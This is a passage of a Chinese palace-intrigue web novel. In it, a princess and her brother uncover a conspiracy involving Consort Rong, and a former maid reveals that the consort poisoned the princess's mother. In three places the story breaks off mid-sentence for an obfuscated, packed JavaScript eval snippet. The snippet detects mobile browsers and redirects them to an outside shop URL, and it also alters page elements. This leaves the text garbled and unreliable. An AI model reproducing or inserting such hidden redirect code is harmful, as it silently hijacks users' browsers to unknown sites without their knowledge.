“是,郡主。这也怪不得别人,让她长些教训也好,奴婢早就告诉过她,阮孝不可信,可她就是听不进去,今日让她亲眼见到也好,从此便死了这条心。” 暖暖拿起一个盒子交给舒雁,说道:“你的簪子也该换换了。” 舒雁忙拒绝:“郡主,这太贵重了。” “再贵重也没有人重要,画眉也是,什么好东西没见过,怎的就被一枚小小的珠钗迷了心窍。”说完将簪子拿出,簪在了舒雁端发间后继续说道:“这季萧也真是的,安排了这么一出!” 舒雁抚着簪子说道:“奴婢谢过郡主,方才季萧与奴婢说过了,莲娘是他安排的,今日的银子也是季萧给的。” “这季萧当真有些手段,前日才与他说了这件事,今日就办妥了。” “阮孝也是个没有定力的,怎么快就上钩了,那莲娘也是精明,两头落好处。” “拿银子给季萧还回去……对了,消肿的药膏还有吗?一并给他送些过去。” 舒雁应声出去后,暖暖心思静不下来,在房中踱来踱去,满脑子都是那八个大字,却捋不出个头绪来。 杜家谋逆一事早早就被看出,这么长时间却没有动静,让叶皓犹疑不定。宫中有变,难道是这谋逆不是兵变而是宫变?若是宫变,关键人是荣贵妃,难道是因她有孕,所以才无动静,锦瑟怎么不说明白一些。不对,杜家的马车在外等候,或是不方便说,亦或是她也不清楚其中更深的秘隐。 如今到底是怎么个情况?她头疼欲裂,走出书房,阳光耀眼。 她在花阴的躺椅上躺下,茉莉的香气萦绕在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233156|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周身,头痛得着实厉害,她揉着额头闭目养神。 不知过了几时,只觉有人推了推她,睁眼一看是叶皓,正托着一个油纸包看着她:“怎么睡在这里?当心着凉。” 暖暖动了一下,只觉筋骨酸疼,想起身却起不来。 叶皓将她拉起来,说道:“进屋说话。” 到来书房,叶皓纸包打开,一股焦香味迅速弥漫开来:“快尝尝,刚出炉的烤肉。季萧说你有急事找我,我可是马不停蹄地就回来了。”。 暖暖哪里还有心情吃炙肉,将门窗管好,说道:“我今日见到了锦瑟,她给我写了八个字:杜家欲反,宫中有变。” 叶皓听完并没有多惊讶,沉吟来一下问道:“她在哪里告知你的?在场的可有别人?” “在祥记银楼,用茶水在案几上写的,画眉在旁边,不过她没有看到。对了,她是坐杜家的马车去的。” 叶皓放下手中没吃完的肉,说道:“你知道,我之前还在怀疑这件事,今日倒是确认了,可‘宫中有变’是什么意思?” “我也不知道,想了半日也没有头绪,宫中与杜家有关的只能是荣贵妃。” “我竟忽略了这一点,莫不是容贵妃想要逼宫。可听三哥说,她倒是将父皇的照顾十分用心,如今又怀着身孕……”叶皓说完陷入了思索。 或是炙肉地想起太浓郁,暖暖亦或是暖暖腹中饥饿,她边吃边思索。半包羊肉下去后,她盯着一块肥肉,缓缓地说道:“莫不是因为有了身孕,才与杜家有了分歧。” 叶皓也不得头绪,忙问道:“怎么说?” “杜家再亲也是娘舅,不及自己的孩子亲。她现在已有身孕,若她的孩子以后继承大统,她便能名正言顺地掌权;若是助杜家篡位,成功了不会以她为尊,失败了更是身首异处。如此说来,还是前者划算。” 的确是这个道理,叶皓眸光一闪:“你是说她欲争皇位?可是她又怎能保证诞下的是皇子。” 说到此处,一个念头出现在叶皓脑中,不觉让他脊背发凉,他转头看向暖暖,发现她也在用不可思议的眼神看着他。 二人不约而同地说道:“偷梁换柱!” 暖暖第一次真正地意识到此事的严重性,她表情凝重,严肃地问道:“接下来……要怎么办?” “若真是这样,孩子还没出生,我们还有时间,你可能算出孩子大概什么时间出生。” 暖暖仔细回想,此前师英玉将此事当逸闻同她讲过,她当时也没上心,回忆不起半点,直觉头又开始疼了,她用手敲了敲额头。 叶皓看着她难受的样子,说道:“我去写帖子,明日进宫。” 暖暖立即说道:“我与你同去,有些妇人的事,你不好开口。” “也好,你早该去宫中看看了,我去让舒雁给你煎药。”说完叶皓便快步离去了。 暖暖起身活动一下,身上的筋骨越发疼痛,她坐到案几前,又看见文瑶的香囊,只觉更加头疼了。当晚,她发起烧来,将炙羊肉全部吐出。 她命舒雁不得将此事外传,喝了一碗热热的安神汤后便蒙头大睡,明日还有重要的事情,此刻,她绝不能倒下。 82. 深宫重归来 次日一早,叶皓便遣人来叫郡主。 暖暖余热未褪,强撑着精神用了些早膳,换了吉服坐上了马车。 到了宫门口,下车换软轿,看着高高的宫墙,她有些恍惚:已经离开这里六年了吗?一切似乎还是老样子。,岁月没有在这深宫里留下任何痕迹。 惠妃见到暖暖的第一句话便是:“孩子,你受苦了。”边说着边招呼她到她跟前坐下,拉着她的手仔细看着她的模样:“上次见你还是送你出嫁之时,如今也算平安回来了。个头长高了些,只是还是这样瘦弱,若是你母亲还在,见了要心疼的。”说完便有悲戚之色。 暖暖听了心头发酸。 叶皓见状赶紧缓和着说道:“母妃,暖暖回来了,是高兴的事。” 惠妃拭了泪收起情绪:“对,对……唉!人老了就是容易伤感。你上次气冲冲地出宫去了,连个消息都不给本宫,真是让本宫伤心,白白为你操着心。” “母妃,儿臣的婚事儿臣自有主意。” 惠妃十分不悦,但又碍于暖暖在场,只说道:“你那主意不是什么好主意,真是气人。” 暖暖打圆场道:“娘娘,哥哥忙于政务,没功夫想这些。但他日日都想着娘娘您呢,看那些东西,都是□□常攒下来等着进宫孝敬您呢!” 惠妃听了这番话,很是舒心,但是还是反问了一句:“当真?” “真的,母子间哪来的仇,不过是都为了对方好,这个道理哥哥是知道的。” 惠妃这才满意地点点头,又拉起她的手:“今日用了午膳再回去,本宫让小厨房做些好吃的,给你补补,跟着你哥哥只怕是饭都不能按时吃上。” 这倒是事实,暖暖尴尬一笑,转了话题:“娘娘,臣女想去看看陛下。” 惠妃屏退左右:“什么臣女、陛下的,是孩儿和父皇,你虽改了出身、更了姓名,可到底还是你父皇的女儿。只是这个时辰,恐怕荣贵妃还在太极殿,本宫先派人去通报一声,咱们听听消息再说。”说完叫了彩玉进来,吩咐她安排此事。 一听到容贵妃,暖暖打探道:“听闻贵妃娘娘有了身孕,怎么还这般操劳。” 惠妃压低声音:“她那里舍得放权,还有两三个月就要生了,也不肯大权旁落。” “五姐姐还在宫里吗?今日孩儿也一并去看看。” “五公主,本宫也只是在她回宫第二日见了一面。想必你也听说了,她与驸马不和,整日里闹得鸡犬不宁。这夫婿是她自己挑选的,当时她母妃就万般不如意,可见婚姻大事,还是需父母做主的。”说完看了叶皓一眼。 叶皓眼神躲闪,假装没有听到,惠妃无奈叹了口气。 惠妃的意思是不要让她去触这个霉头,暖暖自然听得出来,便借口道:“既然姐姐身体不适,那孩儿改日再去看姐姐。” 惠妃点点头,发觉她的手一直是冰的,便问道:“手怎么这么凉?脸色也不好。” “许是昨日受了些风。” “真是弱不禁风了,进宫来住些日子吧,让太医好好为你调理调理身子。” “多谢娘娘关怀,只怕打扰了娘娘休息。” “是嫌宫中无趣,不愿陪本宫这老婆子罢!”惠妃笑着打趣她。 说话间,彩玉进来回话:“陛下身边的王中官说贵妃娘娘正在陪陛下看奏议,回绝了此事,但陛下一听是郡主,便说让郡主用了午膳后再过去。” 惠妃点头:“自己的女儿还是要见的,真是难得,这半年来想见陛下一面真是太难了。” “父皇还不知道叶青就是叶岚。”叶皓喝了口茶,隐隐有些担忧,他三哥曾说此事隐秘需当面与父皇说明,但一直未得机会。 “估计父皇已不记得我什么样子了。”暖暖有些伤感。 惠妃安慰道:“你是陛下的女儿,父亲总会记得女儿的。” 用完膳,待惠妃午憩后,叶皓与暖暖一起去往太极殿。一路上,暖暖心中不安,不知一会儿该如何面对,她不知道这声“父皇”她能不能叫得出口。 叶皓看出她的不安,安慰道:“一切有我,放心。” 太极殿门口,王中官一看到暖暖,脸上掠过一抹难以置信的神色,但立即恢复正常,见礼道:“老奴拜见两位殿下,陛下在殿内,请随老奴来。”说完引着二人进入了殿内。 王中官是梁帝身边的老人,在宫中服侍半辈子,心中再疑惑也知道什么该问什么不该问。 叶皓边走边悄声问他:“父皇今日可好?” 王中官亦小声回答:“陛下今日精神不错,但殿下说话还是要小心些。” 殿内,梁帝正靠着软榻闭目养神。 荣贵妃在案几前整理着奏议,她一身浅黄色贵妃服饰雍容华贵,面色红润神采奕奕,虽然挺着孕肚,可依旧行动灵活。 叶岚与叶皓行叩拜礼。“儿臣叶皓,拜见父皇、贵妃娘娘。”、“臣女叶青,拜见陛下,贵妃娘娘。” 还未等梁帝发话,荣贵妃先说道:“起来吧,郡主是第一次进宫……”可当她看见暖暖的容貌后,心头一惊,没有再说下去,脸上写满了不可思议。 “贵妃忙了半日了,下去休息吧,我与孩子们说说话。”梁帝半眯着眼睛说道。 容贵妃晃过神来来,回道:“陛下……您的药还没喝呢。” “去吧,晚些再喝也无妨。” 荣贵妃只得退下,路过暖暖时,深深地看了她一眼。 “都起来吧。”梁帝的声音传来,还是暖暖记忆中声音,但是苍老沉重了许多,她的父亲已经很老了。 她心中发涩,抬起头看着梁帝步履蹒跚地朝她走来,他的头发几近全白,脸颊干瘪,多了很多皱纹。她的酸涩从心头涌到了眼眶:六年的时间,竟让人衰老得如此之快。 “暖暖?”梁帝叫了一声。 这两个字让她瞬间破防,不由自主地叫了声:“父皇。”但随即意识到不对,又改口道:“陛下。” “孤知道是你,叶岚,我的女儿回来了。”梁帝又看向叶皓,问道:”你什么时候回来的?这次又去哪里了?” 暖暖疑惑地看着梁帝,又转头看看叶皓,叶皓猜测梁帝大约是又犯病了,皱着眉对她轻轻摇了摇头。 叶皓顺着答梁帝的话回答:“儿臣回来有些时日了。” “你们看见朝雨了吗?我有个东西给她……”说完转身在案几上找了起来,边找边自言自语道:“诶?放哪里了?刚才还在这里……那个孩子真可怜呀……”梁帝一通乱找,不少奏议掉在了地上。 王中官闻声赶来,对叶皓说道:“殿下,陛下需要休息了。” 叶皓意会,带着暖暖告退,梁帝后面那几句话犹如凉水一般冲掉了她心中刚刚升起的父女之情。她有些伤心、有些失望、甚至有些愤怒,说道:“我就知道父皇不会记得我。” “父皇是发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240135|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病了……你刚才也看到了,他的记忆里我还在外游历。” 暖暖越想越觉不平,抱怨道:“我如何能与你们比,父皇心中看重的还是五姐姐,还说她可怜,可怜的应该是我!” 叶皓听了皱眉,伸手使劲戳了戳她的额头:“你这样说我可不愿意听了,你怎可如此妄自菲薄,都是兄弟姐妹,大家都是一样的。” “那是你的看法,你又不是不知道,小时候我受了叶朝雨多少欺负,你送给我猫就是她害死的。” “唉!你们女子闺中的旧怨理也理不清!都这么些年了,还记着呢?咱们还有重要的事情,别在这里浪费时间了。” 暖暖自己拍了拍脑袋:“我真是糊涂了,可怎么去查,一会又要出宫去了……” 叶皓与无人处停下脚步,小声说道:“我想送些侍卫到母妃宫中,一来保护她的安全,二来探查一些消息。只是宫中侍女的选拔严苛,我还要想一想如何将人送进来。” 暖暖思考了一下,说道:“不如我留下来,刚才娘娘也有意留我住下,这样一来也名正言顺。” “这倒是个好主意,不过……”叶皓还是有些担忧,刚才容贵妃看她的眼神可不善。 “时间不等人,再想别到办法又不知要多久,我带冰绡进宫来。” “嗯,这样一来也不用再找女侍卫了,冰绡一人足矣,你在宫里只需注意荣贵妃的动向即可,有事及时和我联系,我会安排一个人与你联络。”叶皓舒了一口气:“只是,暖暖,这条路太危险,你要时时刻刻保护好自己。” “是,我自会小心。哥哥,我已经经过了一次宫变,我绝不会让同样的事情再发生。” 二人回到惠妃宫中,暖暖对惠妃说明了自己想留下来,惠妃甚是高兴,当即命人收拾屋子,置备物品。 当晚回到王府,舒雁与画眉忙着收拾妆奁衣衫,暖暖则将从祁囯带回来的东西找出,挑出了冷逸尘送的剑和泽生送给的暗器放在了衣服箱子的暗格里。看到那珍珠发簪,眼前又浮现出他的笑容,她心中一紧将发簪紧紧贴在胸口,犹豫了一下,又将发簪簪在了发髻上。 叶皓提着两坛酒来了,说道:“这酒是云梦,宫里可没有这么好的,省着点喝。” 暖暖笑着接过:“好,还是哥哥好。” “宫中不必王府里,一切要按着规矩来,荣贵妃原本就与你不善,你要忍着些,不要逆着她来。” 暖暖点点头,说道:“为了大计,我会忍耐。我本来想给我姐姐和玉姐姐写信来着,眼下也没有心情写了。若是有机会,你替我向她们带个好。” “好,三哥去看三嫂了,大约明日回来,明日我便去找他,宫中联络人一事,还需他来安排。师英玉那里我会替你写封问好的信,随邸报一起发过去。” 暖暖点点头:“我带舒雁、画眉、冰绡同去,这院子能不能给我留着,我以后还想住这里……帮我照顾好院子里的茉莉和海棠。” 叶皓听了一笑:“肯定给你留着,以后这王府给你都行。”他心中想,等此事一了便回长右山去,到时这王府也没什么用了。 暖暖看着叶皓,这个哥哥真的给了她太多帮助与温暖,她的心事也只能同他说一说,他总是在她艰难的时候能成为她的后盾。 突然想起那次醉酒后朦胧中听到的话:“我要得到权利,坐上那个位置……” 她眼里闪着泪光说道:“四哥,我会帮你。” 83. 旧地探密隐 暖暖突然冒出这前言不搭后语的一句话,让叶皓未懂她什么意思,以为她是紧张的缘故,于是开玩笑地道:“这是做什么,像是托孤一样。你不是孤军,咱们也没到破釜沉舟的地步。我已与三哥联手,三哥有朝臣支持,我有周相公支持,放心,即使是杜家真的起兵,咱也应付的了。”随后,他看看天色:“不早了,我走了。” 叶皓的话并没有给暖暖多少安慰,对未知的恐惧让她心中忐忑,出了书房,踱步在茉莉花丛中,花香缠上了她的衣角,打开一坛酒,于花间独酌,真是好酒。 虽然是好酒,但她却一夜无眠,睁着眼睛到了天光大亮,宫中来的车架已在府外等候,她强打着精神梳洗装扮。 叶皓看着空了的酒坛数落道:“这么贪酒,宫中规矩严苛,等想喝的时候看你去哪里找。” 暖暖反讽道:“哼,还不都是你教的。” 一番折腾,终于赶在午膳之前到了宫中。 午膳后,还未收拾停当,照顾惠妃日常的黄太医便过来请平安脉。黄太医细细地为暖暖搭了脉,看了舌苔,问了一下日常起居等问题,斟酌者开了一副药方:地骨皮二钱,防风二钱,茯苓二钱,黄芪三钱,麸炒白术二钱,炙甘草二钱,党参八分,麸炒山药二钱,焦山楂二钱,引用去核红枣二枚。并再三叮嘱要少思虑、少饮酒、定饮食、多休息。 惠妃听着太医的描述,不由得责备她道:“这般折腾,怪不得身子这么弱,以后和本宫住,倒要板一板你这些坏习惯。” 暖暖一一应下,回忆着在信王府的生活,的确也是休息、饮食不规律。叶皓曾经说过他自己意志不坚、行止由心,原来她自己也是这样。她心生愧疚,但又自我安慰:只是“近墨者黑”而已。 进宫第三日,东角门上的黄中官悄悄送来了几卷佛经,说是受信王殿下所托,她随即明白这便是联络人了,二人约定,每三日通报一次消息。 跟着惠妃生活,暖暖的作息渐渐规律起来。惠妃的活动多安排在上午,或是看着宫人描画样、刺绣,或是到后苑散步,或是有人来访陪着说话。午膳后小憩,之后便要在佛堂礼佛,她倒也不拘着暖暖,放她自由去玩耍。 暖暖去了一次她与母亲曾经住过的院子,院子已败落,再难觅当年她与母亲的欢声笑语。记忆中她的母亲很是俊美,却不得梁帝宠爱,只封了一个小小的才人。她出嫁时,才追封她母亲为襄妃,梁帝或是为了抬一抬她的出身,又或是为了安抚她的情绪,总之,她感受不到一点梁帝对她母亲的思念之情。 她在布满灰尘的房间里寻找母亲的痕迹,却什么也未找到。回想关于母亲的事,她这才发觉她对母亲知之甚少,她叫什么名字?她是怎么样来到这里?又是如何与梁帝结缘?这一切都如这被尘封的院子一般,她永远也不会知道了。 她母亲当年骤然离世,在梁宫中没有激起任何浪花,她渺小得如同一粒尘埃,仿佛都没有在这个世界上存在过。一个可怜的女人,全部的青春荒废在了梁宫,一生的时光都被高耸的宫墙困住,她想如果她的母亲没有进宫,会不会有另一番天地。 正想着,只听身后的门“吱呀”一声,闻声回头,只见一个蓬头垢面的侍女进来,待侍女看清她的面容后,迷茫空洞的眼神闪出一丝光芒,带着不确定的目光上前要去拉她,叫来一声:“宋才人,您回来了……” 舒雁见状赶紧挡在郡主身前,斥责道:“大胆,见了郡主还不行礼。” 暖暖心中陡然一颤,但是她没有害怕,只觉这个人好生熟悉。 “郡主?不对,你不是……才人不记得奴婢了吗?奴婢是彩萍呀!”那侍女说着跪来下去,流下两行浑浊的泪水。 彩萍,暖暖当然记得,是她母亲身边的侍女,今年不过四十岁的年纪,看上去却如六十岁一般的模样。 她母亲故去后不久她便去了她三哥家居住,身边也只带了安如一人,至于其他侍女如何处置的她并不清楚。 “彩萍?你怎么还在这里?” 听见这声音,彩萍也恍然过来:“你是……你是六公主?” 她竟然认出来自己,此处无别人,暖暖点头承认。 彩萍并没有回答,而是警惕地看着舒雁,暖暖则命舒雁去外面看守。 之后彩萍才激动地膝行上前,拉着她的裙摆哭道:“六公主,真的是六公主……奴婢没想到有生之年还能见到您。奴婢苟活到今日,就是为了说出真相,为才人报仇…… 暖暖听完,脑中仿佛炸出一道惊雷,眼睛陡然睁大:“你说什么?” “宋才人是被荣妃下毒害死的……”在彩萍凌乱的描述中,暖暖得知了真相:宋才人无意间撞破了荣妃栓娃娃求子一事,被荣贵妃赐了有毒的糕点,并以叶岚的性命为要挟,逼宋才人自尽。 “栓娃娃”又名“弄化生”,本是娘娘庙里求子之术,将蜡塑小人放到水盆里,借以求子,本来也算不得什么秘密。荣贵妃自然知道这也无用,但她自有的法子,法子就安排在娘娘庙后院之中,但这秽乱宫闱的大罪,自然不会留下活口。 暖暖于震惊中久久未能缓过神来,外面的争执声令她身躯一颤。 舒雁:“不得无理,惊扰了郡主,你们谁担待得起。” 一个中官说道:“这位姐姐,郡主去哪里玩不好非要来这里,那个疯婆子也进去了,只怕会惊扰到郡主。” 听到这个声音,彩萍像是换了一个人一般,扑到暖暖身上拉扯起来:“这身衣衫真好看,快脱下来让我穿穿……” 暖暖被这突如其来的举动吓得惊叫一声,摔倒在地,可彩萍手里的动作却未停。 外面的人赶紧冲进来,将二人拉扯开,两个中官将彩萍胡言乱语的嘴堵上,压了出去。 为首的中官见地上倒着一个衣着不凡的女子,猜想这必是惠妃娘娘宫中新来的郡主,于是立即命人将她扶起交到舒雁手中,谦恭地说道:“郡主恕罪,是侍女们没看好这疯婆子,让郡主受惊了。” 暖暖惊魂未定,掩面躲在舒雁身后,舒雁厉色说道:“务必将人严惩,快送郡主出去。” “是,是,请郡主随我来。”中官强装镇静引着路将二人引到了甬道上,恭送道:“郡主慢走。” 舒雁见郡主面色苍白,以为是惊吓过度,便说着回去熬一副安神汤药。 暖暖停下脚步,回想刚才之事,才明白彩萍定是装疯卖傻才逃过一劫,真是天意让她们在此相遇,荣贵妃啊荣贵妃,新仇旧恨,咱们一起算。 舒雅看着郡主神色复杂,轻轻地叫了一声:“郡主。” 暖暖深知此事隐秘,此时绝不可露出任何破绽,她恢复神色,笑道:“此事不得对别人说,走,回去。” 舒雁不明所以,只得随她回了金华殿,此时淑妃与惠妃正一起做荷花酥。 暖暖看着这点心酥层清晰、形美动人口,忍不住尝了一个,果然是酥松香甜。 惠妃打趣道:“馋丫,一会儿午膳还用不用了?你活动活动,趁着新鲜,去给陛下送一些。” 机会就这样来了,暖暖痛快答应,与舒雁提着食盒同去。 到了太极殿正殿门口,王中官忙迎来上来,见礼后说道:“真是辛苦郡主了,只是陛下现在忙碌,让人不要打扰,郡主还请回吧。” 暖暖:“劳烦王 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高个子:“你以为驸马愿意来吗?他巴不得公主不回去呢。” 二人只顾着说话,到了暖暖跟前才发现她们,他们面露惊恐之色,私下议论宫闱之事是死罪,于是立即叩首请罪。 暖暖看着二人,都是十三四岁的年纪,只装作未听见:“你们是哪里当值的?” 高个子说道:“重华殿守门。” 暖暖一听,便想打探一些消息,又问道:“那人是谁?” “是驸马。” “是来看五公主的?” “是。” “我是庆王家的郡主,劳烦回去转告五姐姐,明日我去找她说话。” 那中官面露难色,请罪道:“郡主恕奴才不能通报,五公主正病着,来人一律不见,刚才驸马也没见到公主。要见公主,需经贵妃娘娘同意……”话还未完,他就被红着眼睛的中官轻拉了一下衣袖,便不再说下去。 “哦,是这样啊,我刚进宫来不知道规矩,你们且去吧。” 二人见来人并不清楚宫内之事,心中庆幸逃过一劫,忙行礼后快步离开了。 暖暖看着他们的背影问舒雁:“五公主怎么了?怎么连驸马都不见?” “奴婢也不清楚,只听说公主与驸马不睦,公主染恙被贵妃娘娘接到宫中休养。” 暖暖边听边想起来,师英玉与她说过驸马是与船妓有染,五公主一气之下才进宫的,宫中却只说是公主生病了。她觉得宫中是为了保留颜面才如此说,坊间传言倒是更可信些。 舒雁接下来的话,更证实了暖暖的想法,她说道:“驸马来也不过是应付差事,好堵上世人的嘴,给公主留些颜面,他巴不得公主不在府上,以方便他玩乐。您看他在宫中都这般轻佻,府上不定是个什么样子。” 暖暖压低了声音:“你可打听到重华殿内的消息?” “奴婢平日里有打听,但宫中侍婢、中官都谨小慎微,什么也不敢说。奴婢也去问过曾经交好的侍婢,才知现在荣贵妃执掌宫中事务,对待宫人极为严苛,此前,两个宫婢只因谈论了五公主的事情,当晚这两个宫婢便消失了,现在谁也不敢提及五公主。” “怪不得来了这些日子也没见到过五公主。” “不仅咱们没有见到过五公主,就连其宫里的人也很久没有见到五公主了。” 暖暖感叹道:“与其这样过日子,倒不如和离。” “驸马家里怎么舍得这荣华富贵……郡主,咱们快回去吧,看着天估计要下雨了。” 暖暖抬头看向东北方,果见乌云密布。 84. 前尘旧恩怨 二人加快脚步,还没等到金华殿门口,雨已开始落下,好在惠妃已派人撑伞来接应。 回到寝殿却不见画眉,一问才知,是淑妃想起她那里还有阿胶,说拿来给郡主补身子,便命画眉一起过去拿了。 舒雁有些担忧,画眉毕竟是第一次入宫,好些规矩都不懂,若是冲撞了宫中之人,不免要受责难,于是又派两个小中官前去接应。 过了好一会儿,中官才回来回话:“临华殿里的人说,画眉拿了阿胶便回来了,但这一路上也没有见到人。” 暖暖看着密集的雨点,也有些担忧:“画眉会不会迷路了?这里到临华殿并不算远,再慢半个时辰也能走个来回了。” 舒雁劝慰道:“估计是在哪里避雨呢,郡主休息吧,奴婢去殿门口等着。” 暖暖躺在软榻上,闭着眼睛听着雨声,想着小时候的事。 据说她出生之时,大雾漫天梁帝便赐“岚”字为名。后宫之中,有子女的妃嫔都已至妃位,而她母亲生下她后才被封为才人,其中她原因不得而知。五公主叶朝雨只比她大一岁,按说应是最好的玩伴,但叶朝雨却处处欺负她,骂她是贱婢说的孩子,上不得台面,不配为公主,每每遇到这种情况,她母亲便拉着她向荣妃赔罪。 她那时就想不明白,为什么做错事的是五公主、赔罪的确是自己,她母亲似乎很怕荣妃,这其中的原因她也不得而知。后来,她与母亲迁至梁宫一隅,鲜与人来往,唯有表姐夏萱常来探望,也是因此,夏萱与叶均结缘。 再想如今荣贵妃和叶朝雨的事情,总觉得有哪里不对,可又说不上来哪里不对。 胡思乱想、朦朦胧胧中忽听见忙乱的脚步声和女子的啜泣声,起身出了寝殿,正看见舒雁端着药膏吩咐小侍女煮姜茶、烧热水。 她叫住舒雁:“怎么回事?” “画眉回来了。”舒雁说完,看看左右无人,便凑到暖暖耳边小声说了情况。 原来,画眉拿了阿胶便往回走,奈何梁宫比屋连甍,每座宫殿都相似,她便在甬路上迷了路。眼见雨越下越大,她心中也越来越急,迈门槛时不小心被绊了一下,重重地摔倒在地,怀中的油纸包也甩了出去,阿胶散落一地。她孤立无援、心中焦急,又担心被责罚,便忍不住哭了起来,边哭边去捡阿胶。 此时,一个执勤巡逻的卫尉经过,快速帮她将阿胶捡起,重新用油纸包好,问清了她是哪个殿中的侍女后便要送她回去。她膝盖疼痛不能行走,于是那卫尉便将阿胶塞入自己怀中,背起她回到了金华殿。 金华殿门口,舒雁正打着伞翘首以待,见了两个人的身影,忙迎了上去,接下了画眉。画眉见了舒雁,犹如见了亲人,一时心中难为情,便又哭了起来。 舒雁一边扶住画眉一边向那卫尉道谢:“多谢小哥儿,请小哥儿先在檐下避避雨,我去给小哥端壶热茶来。” 梁宫卫尉,担任各宫门守卫和殿外巡守,职责是守卫皇宫殿外和宫墙之内的安全,依宫规卫尉不得入殿内,因而舒雁只能让他在殿门外等候。 “不必麻烦了,属下还要去巡守,告辞。”说完便离开了,可他走了没两步,又折回将怀中的阿胶交到了画眉手中。 舒雁再次道谢后便扶着画眉回来了,边走边叮嘱一定要说是自己回来的,画眉擦着眼泪点头应下。 她帮画眉上过药,换了衣服喝了姜茶,又安慰了一番后,向暖暖详细说了一下情况:“手有些擦伤,倒是不严重,只是两个膝盖都磕破,需要休养几日。” 暖暖点点头,说道:“先让她安心休息吧,可问得那卫尉的姓名?在哪里当值?” “卫尉走得匆忙,没来得及问。” “你留意着点,日后见到了需好生谢过人家。” 暖暖说完,隔着檐下的落雨,看向惠妃的寝殿,也许惠妃娘娘知道些什么。 雨来得快去得也快,一刻钟过后天气放晴,她见寝殿内有侍女进出,便猜测着惠妃已起身,便端着银耳莲子羹进来惠妃的寝殿。 “还是女儿贴心……”惠妃接过羹尝来一口,显得十分受用,但看着暖暖神色有些倦怠,便问她:“这是午间没休息吗?” 暖暖也不绕圈子,说道:“不敢欺瞒娘娘,今日我去了我母亲生前住的院子,见到里面已破败不堪,心中难过。” “唉!自你出宫后,那个院子就被封来起来,听说是贵妃的意思。你是想念你的母妃来,一会随本宫去佛堂,你为她诵上几卷经吧,也算是做女儿的孝心。” “娘娘……”暖暖起身跪在惠妃膝前,眼中含泪说道:“娘娘可知我母亲是怎么死的?她与贵妃之间到底有什么恩怨?” 惠妃有些惊讶,不想她会突然问这个问题,赶紧示意彩玉带侍女们都出去,之后拉起暖暖坐于她身旁,用帕子拭去她的泪珠,劝慰道:“孩子,都是陈年旧事了,追问这些还有什么意思,这深宫之中,若什么事都刨根问底哪个现在,倒不如糊里糊涂地保个平安。” “娘娘,我那时候小,什么都不懂,求娘娘告诉我真相,别让我此生都这般糊涂。” 看着她的伤心痛苦,惠妃叹了口气:“孩子,当年之事都是造化弄人,也说不上是怨谁……” 暖暖母亲原名宋春霏,是荣妃的侍女,当年的事亦是一场谋划,她不过是一枚棋子,暖暖不过是意外的产物。 当年,梁帝为拉拢朝中重臣杜勉,纳了他的女儿杜夕若为妃。彼时杜卫手握重兵,为梁国镇守西南门户,新人刚入宫便直接封妃,从前并无此先例。一时间,杜夕若荣宠不断,风光无两,入宫三年,诞下一女,便是叶朝雨。 由于太后忌惮杜家,曾暗中为杜夕若下过凉药,生产时大出血,此后便伤了元气,不能再有孕。荣妃为了固宠,有意挑选宫中侍女,欲献给梁帝,宋春霏生得颇有几分姿色,又性格温顺,便成了人选。 宋春霏承恩于梁帝酒后,梁帝酒醒,就像寻常一样,将此事轻飘飘地揭过,并做出任何封赏或补偿,可宋春霏却胎珠已结。此事闹得沸沸扬扬,荣妃本想一剂堕胎药了结,再将宋春霏送出宫去打发了,不想皇后娘娘出面,保全了宋春霏,一切封赏等孩子出生再说。 荣妃自是不愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14261928|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意,可不知谁为荣妃出了主意,若生了皇子,可去母留子,日后也是个依靠,她这才答应下来。随着暖暖的出生,他们母女二人也就失去了利用价值,但添丁进口终究是喜事,又是皇后出面,给了宋春霏才人封号。 最后惠妃说道:“这其中的事有些是秘隐,你自己心里知道就好,切记切记。” 暖暖追问:“我母亲是荣贵妃毒死的,是吗?” “据太医说,你母亲死于胸痹,走得很突然,你不记得了吗?” 回忆当年,她母亲只是睡来一觉,便再没醒来,据宫人说宋才人死状惊悚、十分可怖,宫人怕惊吓到公主,以至她连最后一面都没见上。 暖暖听完有些迷茫,原来背后之事如此曲折,原来荣妃之心如此险恶,原来她就不该出现在这个世上。胸痹、毒害,她母亲的死到底哪一个才是真相,她思绪凌乱,张了张嘴巴,却说不出一句话来。 惠妃替她理了理耳边的碎发,说道:“孩子,听本宫一句劝,以前的事不要再追究了,本宫想你母妃未将这些事告知于你,一则是你那时还小,二则本宫猜测大约是她不想你卷入上一辈的恩怨之中。” 暖暖木木地点点头,心中却还想着要再找机会去问问彩萍。 看她这没听进去的样子,惠妃叹了口气,唤彩玉进来为她净面梳妆,之后便带着她去了佛堂。 此后两日,惠妃借着礼佛的由头将她拘在身边,她心中虽焦急却也无奈。 